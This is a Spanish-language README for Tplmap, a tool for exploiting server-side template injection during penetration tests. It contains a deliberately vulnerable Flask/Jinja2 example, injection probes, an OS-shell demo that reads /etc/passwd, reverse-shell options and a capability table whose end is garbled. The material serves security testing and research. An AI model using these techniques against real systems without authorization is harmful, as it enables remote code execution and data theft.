
Herramienta de Detección y Explotación de Inyección de Plantillas del Lado del Servidor e Inyección de Código
Este proyecto ya no recibe mantenimiento. Estaré encantado de fusionar nuevos PRs siempre que no rompan el conjunto de pruebas.
Tplmap ayuda en la explotación de vulnerabilidades de Inyección de Código e Inyección de Plantillas del Lado del Servidor (SSTI) mediante diversas técnicas de escape de sandbox para obtener acceso al sistema operativo subyacente.
La herramienta y su conjunto de pruebas se desarrollan para investigar la clase de vulnerabilidad SSTI y para ser utilizada como herramienta de seguridad ofensiva durante pruebas de penetración en aplicaciones web.
Las técnicas de escape de sandbox provienen de James Kett's Server-Side Template Injection: RCE For The Modern Web App, otras investigaciones públicas [1] [2], y contribuciones originales a esta herramienta [3] [4].
Puede explotar varios contextos de código y escenarios de inyección ciega. También admite inyecciones de código similares a eval() en Python, Ruby, PHP, Java y motores de plantillas genéricos sin sandbox.
Suponga que está auditando un sitio web que genera páginas dinámicas utilizando plantillas compuestas con valores proporcionados por el usuario, como esta aplicación web escrita en Python y Flask que utiliza el motor de plantillas de manera insegura.
from flask import Flask, request
from jinja2 import Environment
app = Flask(__name__)
Jinja2 = Environment()
@app.route("/page")
def page():
name = request.values.get('name')
# SSTI VULNERABILITY
# The vulnerability is introduced concatenating the
# user-provided `name` variable to the template string.
output = Jinja2.from_string('Hello ' + name + '!').render()
# Instead, the variable should be passed to the template context.
# Jinja2.from_string('Hello {{name}}!').render(name = name)
return output
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
Desde una perspectiva de prueba de caja negra, la página refleja el valor de manera similar a una vulnerabilidad XSS, pero también calcula operaciones básicas en tiempo de ejecución, revelando su naturaleza SSTI.
$ curl -g 'http://www.target.com/page?name=John'
Hello John!
$ curl -g 'http://www.target.com/page?name={{7*7}}'
Hello 49!
Tplmap es capaz de detectar y explotar SSTI en una variedad de motores de plantillas para obtener acceso al sistema de archivos y al sistema operativo subyacente. Ejecútelo contra la URL para probar si los parámetros son vulnerables.
$ ./tplmap.py -u 'http://www.target.com/page?name=John'
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '{*}'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
...
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Rerun tplmap providing one of the following options:
--os-shell Run shell on the target
--os-cmd Execute shell commands
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
Use la opción --os-shell para lanzar una pseudo-terminal en el objetivo.
$ ./tplmap.py --os-shell -u 'http://www.target.com/page?name=John'
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Run commands on the operating system.
linux $ whoami
www
linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
Tplmap admite más de 15 motores de plantillas, motores de plantillas sin sandbox e inyecciones genéricas similares a eval().
| Motor | Ejecución remota de comandos | Ciego | Evaluación de código | Lectura de archivos | Escritura de archivos |
|---|---|---|---|---|---|
| Mako | ✓ | ✓ | Python | ✓ | ✓ |
| Jinja2 | ✓ | ✓ | Python | ✓ | ✓ |
| Python (code eval) | ✓ | ✓ | Python | ✓ | ✓ |
| Tornado | ✓ | ✓ | Python | ✓ | ✓ |
| Nunjucks | ✓ | ✓ | JavaScript | ✓ | ✓ |
| Pug | ✓ | ✓ | JavaScript | ✓ | ✓ |
| doT | ✓ | ✓ | JavaScript | ✓ | ✓ |
| Marko | ✓ | ✓ | JavaScript | ✓ | ✓ |
| JavaScript (code eval) | ✓ | ✓ | JavaScript | ✓ | ✓ |
| Dust (<= [email protected]) | ✓ | ✓ | JavaScript | ✓ | ✓ |
| EJS | ✓ | ✓ | JavaScript | ✓ | ✓ |
| Ruby (code eval) | ✓ | ✓ | Ruby | ✓ | ✓ |
| Slim | ✓ | ✓ | Ruby | ✓ | ✓ |
| ERB | ✓ | ✓ | Ruby | ✓ | ✓ |
| Smarty (unsecured) | ✓ | ✓ | PHP | ✓ | ✓ |
| PHP (code eval) | ✓ | ✓ | PHP | ✓ | ✓ |
| Twig (<=1.19) | ✓ | ✓ | PHP | ✓ | ✓ |
| Freemarker | ✓ | ✓ | Java | ✓ | ✓ |
| Velocity | ✓ | ✓ | Java | ✓ | ✓ |
| Twig (>1.19) | × | × | × | × | × |
| Smarty (secured) | × | × |
Consulte burp_extension/README.md.
| × |
| × |
| × |
| Dust (> [email protected]) | × | × | × | × | × |